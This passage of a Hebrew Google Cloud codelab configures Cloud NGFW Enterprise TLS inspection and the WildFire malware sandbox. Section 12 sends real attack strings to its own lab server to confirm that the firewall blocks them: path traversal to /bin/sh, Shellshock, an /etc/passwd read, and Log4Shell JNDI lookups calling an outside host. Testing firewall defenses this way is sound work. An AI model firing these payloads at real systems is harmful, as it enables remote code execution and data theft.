משיגים את אישור ה-CA הבסיסי ומגדירים אותו כמשתנה בפורמט המתאים.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

מגדירים את קובץ ה-YAML של הגדרת האמינות. הקובץ הזה מכיל פרטי אמון כמו אישורי CA:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

הפקודות שלמעלה כללו את אישור ה-CA הבסיסי כחלק ממאגר האישורים, כי אישור השרת נחתם באמצעות ה-CA הבסיסי. כלומר, חומת האש תסמוך על כל האישורים שהיא מקבלת שנחתמו על ידי רשות אישורי הבסיס שלכם – בנוסף לרשויות האישורים הציבוריות, אם במדיניות ה-TLS שלכם הערך של excludePublicCaSet הוא False.

בודקים את התוכן של הגדרת האמון.

cat trust_config.yaml

פלט לדוגמה:

חשוב לשים לב ליישור של הכניסה (indentation) של האישור. הוא חייב להיות בפורמט הזה בדיוק.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

מייבאים את הגדרת האמון:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

מעדכנים את קובץ ה-YAML של מדיניות ה-TLS כך שיכלול את הגדרת האמון:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

מייבאים את מדיניות ה-TLS המעודכנת:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. אימות של בדיקת TLS במזרח/מערב

חוזרים ל-SSH ללקוח כדי לבדוק את התנועה ממזרח למערב עם הגדרת האמון המעודכנת:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

מריצים את בקשת ה-TLS לדוגמה לשרת:

curl https://$target_privateip --max-time 2

אם עדיין מתקבל הפלט הבא, צריך להמתין עד שהעדכונים יופצו.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

הפלט אמור להיראות כך:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

שולחים תנועת בדיקה זדונית לשרת:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

הפלט אמור להיראות כך:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

לא מתקבלות תגובות לפי הפלט הצפוי שבהמשך, מה שמאשר שההתקפות לדוגמה נחסמות עכשיו בתנועה ממזרח למערב.

13. רישום ביומן

נכנסים אל Logging (רישום ביומן) > Logs Explorer (הכלי לצפייה ביומנים) דרך מסוף Cloud, מזינים את המסנן שבהמשך ושולחים שאילתה ליומנים. מחליפים את [PROJECT_ID] במזהה הפרויקט:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

הרשומות ביומן של Cloud NGFW Enterprise אמורות להיראות כמו בדוגמה הבאה:

5b68cc1063c0f4bd.png

מרחיבים את הרשומות ביומן ומוודאים שההתקפות שנשלחו מה-VM של הלקוח לשרת זוהו ונחסמו (Apache Log4j Remote Code Execution Vulnerability, כמו בצילום המסך שלמטה).

478f18f8481e90ed.png

פרסתם בהצלחה את Cloud NGFW Enterprise עם בדיקת TLS כדי לחסום בקשות זדוניות.

עוברים לקטע הבא כדי להגדיר ולאמת את הסביבה המתקדמת לבדיקת תוכנות זדוניות (WildFire), או מדלגים קדימה אל שלבי הניקוי.

14. [אופציונלי] הגדרת סביבה מתקדמת לבדיקת תוכנות זדוניות (WildFire)

סביבה מתקדמת לבדיקת תוכנות זדוניות (WildFire) מרחיבה את מניעת האיומים של Cloud NGFW Enterprise על ידי בדיקת קבצים במעבר ושליחת קבצים לא ידועים לסביבה לבדיקה מבוססת-ענן (מופעלת על ידי Palo Alto Networks Advanced WildFire) לניתוח התנהגותי מעמיק.

אישור הסכם הרישיון למשתמשי קצה (EULA) של סביבה מתקדמת לבדיקת תוכנות זדוניות

לפני שמפעילים את התכונה "סביבה מתקדמת לבדיקת תוכנות זדוניות" בנקודת קצה של חומת אש, צריך לקרוא ולאשר את הסכם הרישיון עם משתמש הקצה (EULA) החד-פעמי בפרויקט לחיוב ($billing_project). אפשר לאשר את ה-EULA רק במסוף Google Cloud: נכנסים אל Network Security > Firewall endpoints, עורכים את נקודת הקצה $prefix-$zone, בוחרים באפשרות Enable Advanced malware sandbox (WildFire)‎ בקטע Advanced configuration ולוחצים על Agree and continue.

הפעלת סביבה מתקדמת לבדיקת תוכנות זדוניות בנקודת הקצה של חומת האש

מפעילים את הסביבה המתקדמת לבדיקת תוכנות זדוניות בנקודת הקצה הקיימת של חומת האש $prefix-$zone באמצעות gcloud network-security firewall-endpoints update:

gcloud network-security firewall-endpoints update $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project \
  --enable-wildfire \
  --no-async

מוודאים שהסביבה המתקדמת לבדיקת תוכנות זדוניות מופעלת בנקודת הקצה של חומת האש:

gcloud network-security firewall-endpoints describe $prefix-$zone \
  --organization $org_id \
  --zone $zone

הפלט הצפוי (צריך לאמת את wildfireSettings: enabled: true ו-state: ACTIVE):

associatedNetworks:
- projects/$project_number/global/networks/$prefix-vpc
associations:
- name: projects/$project_number/locations/$zone/firewallEndpointAssociations/$prefix-association
  network: projects/$project_number/global/networks/$prefix-vpc
billingProjectId: $billing_project
createTime: '2023-11-16T04:27:17.677731831Z'
endpointSettings:
  contentCloudRegion: US_CENTRAL
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T05:15:12.104829104Z'
wildfireSettings:
  enabled: true
  wildfireRegion: UNITED_STATES

יצירה והגדרה של פרופיל האבטחה של WILDFIRE_ANALYSIS

יוצרים פרופיל אבטחה של סביבה מתקדמת לבדיקת תוכנות זדוניות (WILDFIRE_ANALYSIS) בשם $prefix-sp-wildfire:

gcloud network-security security-profiles wildfire-analysis \
  create $prefix-sp-wildfire \
  --organization $org_id \
  --location=global

הפלט אמור להיראות כך:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire] to be created...done.

בשלב הבא, מוסיפים כלל אסינכרוני לשליחת קובצי APK גם בהעלאה וגם בהורדה (--direction=BOTH):

gcloud network-security security-profiles wildfire-analysis \
  add-submission-rule $prefix-sp-wildfire \
  --organization $org_id \
  --location=global \
  --file-types=APK \
  --direction=BOTH

הפלט אמור להיראות כך:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire] to be updated...done.

בודקים את פרופיל האבטחה של WILDFIRE_ANALYSIS:

gcloud network-security security-profiles wildfire-analysis \
  describe $prefix-sp-wildfire \
  --organization $org_id \
  --location=global

הפלט אמור להיראות כך:

createTime: '2026-02-20T23:56:26.279556627Z'
etag: S5I9SG6PfLz9g9wDqESHaqVwguOWmZhtlxC6-6HNbv4
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire
type: WILDFIRE_ANALYSIS
updateTime: '2026-02-20T23:56:33.791742652Z'
wildfireAnalysisProfile:
  wildfireInlineMlSetting: {}
  wildfireSubmissionRules:
  - customFileTypes:
      fileTypes:
      - APK
    direction: BOTH
    fileSelectionMode: CUSTOM_FILE_TYPES

עדכון קבוצת פרופילי האבטחה ($prefix-spg)

כדי לצרף את $prefix-sp-wildfire, צריך לעדכן את $prefix-spg:

gcloud network-security security-profile-groups update $prefix-spg \
  --organization $org_id \
  --location=global \
  --wildfire-analysis-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire

הפלט אמור להיראות כך:

Waiting for security-profile-group [organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg] to be updated...done.

בגלל שכלל מדיניות חומת האש 900 (EGRESS מעל tcp:443 עם --action=apply_security_profile_group ו---tls-inspect) כבר מפנה אל $prefix-spg, הורדות של קובצי HTTPS מוצפנים שהתחילו מ-$prefix-$zone-client מפוענחות באופן אוטומטי על ידי בדיקת TLS ונבדקות על ידי סביבה מתקדמת לבדיקת תוכנות זדוניות, בלי שצריך לשנות את כללי מדיניות חומת האש.

15. [אופציונלי] אימות של שליחת קבצים וניתוח פלילי בסביבה מתקדמת לבדיקת תוכנות זדוניות

בדיקת השליחה לארגז החול האסינכרוני וסינון לפי סוגי קבצים

מתחברים למכונה הווירטואלית של הלקוח ($prefix-$zone-client) באמצעות שרת proxy לאימות זהויות (IAP):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

במכונה הווירטואלית של הלקוח, מורידים את קובץ APK לבדיקה ציבורית של Palo Alto Networks באמצעות HTTPS:

curl -o /tmp/wildfire-test.apk https://wildfire.paloaltonetworks.com/publicapi/test/apk --max-time 15

בשלב הבא, מורידים את קובץ ELF לבדיקה ציבורית של Palo Alto Networks באמצעות HTTPS:

curl -o /tmp/wildfire-test.elf https://wildfire.paloaltonetworks.com/publicapi/test/elf --max-time 15

בגלל שכלל השליחה ב-$prefix-sp-wildfire מטרגט רק קובצי APK (--file-types=APK), חומת האש לא שולחת את קובץ ה-ELF לסביבה המתקדמת לבדיקת תוכנות זדוניות.

יוצאים מהטרמינל של ה-VM של הלקוח וחוזרים ל-Cloud Shell.

אימות של WildfireSubmissionLog ב-Cloud Logging

נכנסים אל Logging (רישום ביומן) > Logs Explorer (הכלי לצפייה ביומנים) דרך מסוף Cloud, מזינים את המסנן שבהמשך ושולחים שאילתה ליומנים. מחליפים את [PROJECT_ID] במזהה הפרויקט:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_wildfire"

אחרי שהניתוח בארגז החול מסתיים (בדרך כלל תוך כמה דקות), מופיעה רשומה של WildfireSubmissionLog להורדת הקובץ APK, אבל לא נוצר יומן שליחה להורדת הקובץ ELF (אם לא מופיעה רשומה ביומן אחרי כמה דקות, צריך לחכות עד שיסתיים חלון ההפצה של 15 דקות של קבוצת פרופילי האבטחה, ולהפעיל מחדש את ההורדה של curl). מרחיבים את רשומת היומן ומוודאים שהמטען הייעודי (payload) של ה-JSON דומה לזה:

{
  "insertId": "3xim62fg6n786",
  "jsonPayload": {
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.WildfireSubmissionLog",
    "action": "ALLOW",
    "connection": {
      "clientIp": "10.0.0.2",
      "clientPort": 37142,
      "protocol": "tcp",
      "serverIp": "104.199.115.54",
      "serverPort": 443
    },
    "interceptInstance": {
      "projectId": "$project_id",
      "vm": "ngfw-enterprise-$zone-client"
    },
    "interceptVpc": {
      "projectId": "$project_id",
      "vpc": "ngfw-enterprise-vpc"
    },
    "securityProfileGroupDetails": {
      "organizationId": "$org_id",
      "securityProfileGroupId": "ngfw-enterprise-spg"
    },
    "wildfireDetails": {
      "detectionTime": "2026-10-16T20:29:44Z",
      "direction": "SERVER_TO_CLIENT",
      "file": "wildfire-test-apk-file.apk",
      "fileType": "APK",
      "hash": "A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
      "repeatCount": 1,
      "reportUri": "https://networksecurity.usercontent.google.com/organizations/$org_id/locations/$zone/firewallEndpoints/ngfw-enterprise-$zone/wildfireReports/A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
      "sampleUri": "https://networksecurity.usercontent.google.com/organizations/$org_id/locations/$zone/firewallEndpoints/ngfw-enterprise-$zone/wildfireSamples/A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
      "severity": "[SEVERITY]",
      "subtype": "WILDFIRE",
      "verdict": "[VERDICT]"
    }
  },
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_wildfire",
  "receiveTimestamp": "2026-10-16T20:29:57.880438600Z",
  "resource": {
    "labels": {
      "id": "ngfw-enterprise-$zone",
      "location": "$zone",
      "resource_container": "organizations/$org_id"
    },
    "type": "networksecurity.googleapis.com/FirewallEndpoint"
  },
  "timestamp": "2026-10-16T20:29:57.880438600Z"
}

שימו לב לשדות המפתח ב-wildfireDetails:

  • ‫fileType: "APK" ו-subtype: "WILDFIRE" מאשרים ניתוח אסינכרוני של ארגז החול (sandbox) של ההעברה של APK.
  • ‫file הוא שם הקובץ שסופק על ידי השרת (wildfire-test-apk-file.apk), והוא עשוי להיות שונה משם הקובץ המקומי שמשמש את curl -o.
  • ‫hash מזהה את תקציר ה-SHA-256 הייחודי של דגימת הבדיקה.
  • הערכים verdict ו-severity נקבעים לפי ניתוח ארגז החול.
  • השדות reportUri ו-sampleUri מספקים קישורים ישירים לאחזור דוח הניתוח הדינמי והדגימה שנשלחה.

הצגת הבקשה והורדת פריטי מידע משפטיים

במסוף Cloud, נכנסים אל אבטחת רשת > NGFW Enterprise logs > סביבה מתקדמת לבדיקת תוכנות זדוניות ובוחרים את הפרויקט. לוחצים על הרשומה wildfire-test-apk-file.apk כדי לראות את פרטי השליחה, כולל גיבוב SHA-256 של הקובץ, הפסיקה ונקודת הקצה של חומת האש. בקטע פעולות נוספות של הקובץ שנשלח, אפשר לבחור באפשרות הורדת דוח הניתוח כדי להוריד את דוח הניתוח הדינמי בפורמט PDF, או באפשרות הורדת דגימה של תוכנה זדונית כדי להוריד את הקובץ שנשלח.

לחלופין, אפשר להוריד את דוח הניתוח ואת הדגימה מ-Cloud Shell באמצעות הערכים reportUri ו-sampleUri מהרשומה WildfireSubmissionLog:

export report_uri="<REPORT_URI_FROM_LOG>"
export sample_uri="<SAMPLE_URI_FROM_LOG>"

curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  "$report_uri" -o wildfire-report.pdf

curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  "$sample_uri" -o wildfire-sample.bin

16. שלבי הניקוי

ניקוי ההגדרה הבסיסית

מסירים את המכונות:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

אם התפקידים tagAdmin ו-tagUsers השתנו, צריך לבצע את הפעולות הבאות:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

מסירים את המפתח והערכים של התג:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

מסירים את מדיניות הרשת של Cloud Firewall ואת השיוך:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

מוחקים את Cloud Router ואת Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

מוחקים את כתובות ה-IP השמורות:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

ניקוי של SPG, שיוך ו-TLS ב-Cloud Firewall

מוחקים את קבוצת פרופילי האבטחה ואת פרופילי האבטחה בסדר הזה (אם השלמתם את הקטע האופציונלי "סביבה מתקדמת לבדיקת תוכנות זדוניות", צריך להריץ גם את הפקודה למחיקת $prefix-sp-wildfire אחרי שמוחקים את $prefix-spg):

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles wildfire-analysis \
  delete $prefix-sp-wildfire \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

מוחקים את השיוך של נקודת הקצה של Cloud Firewall:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

מוחקים את נקודת הקצה של Cloud Firewall. הפעולה יכולה להימשך כ-20 דקות:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

כדי לוודא שנקודת הקצה של Cloud NGFW נמחקה, אפשר להריץ את הפקודה הבאה:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

במצב של נקודת הקצה אמור להופיע:

STATE: DELETING

בסיום, נקודת הקצה לא תופיע יותר ברשימה.

מוחקים את מדיניות ה-TLS ואת הגדרת האמון בסדר הבא:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

משביתים ומוחקים את ה-Root CA ואת מאגר ה-CA:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

ניקוי של רשת המשנה ו-VPC

לבסוף, מוחקים את רשת המשנה ואת רשת ה-VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

17. מעולה!

כל הכבוד, סיימתם את שיעור ה-Codelab בנושא Cloud NGFW Enterprise לבדיקת TLS בכיוון מזרח-מערב ובכיוון צפון.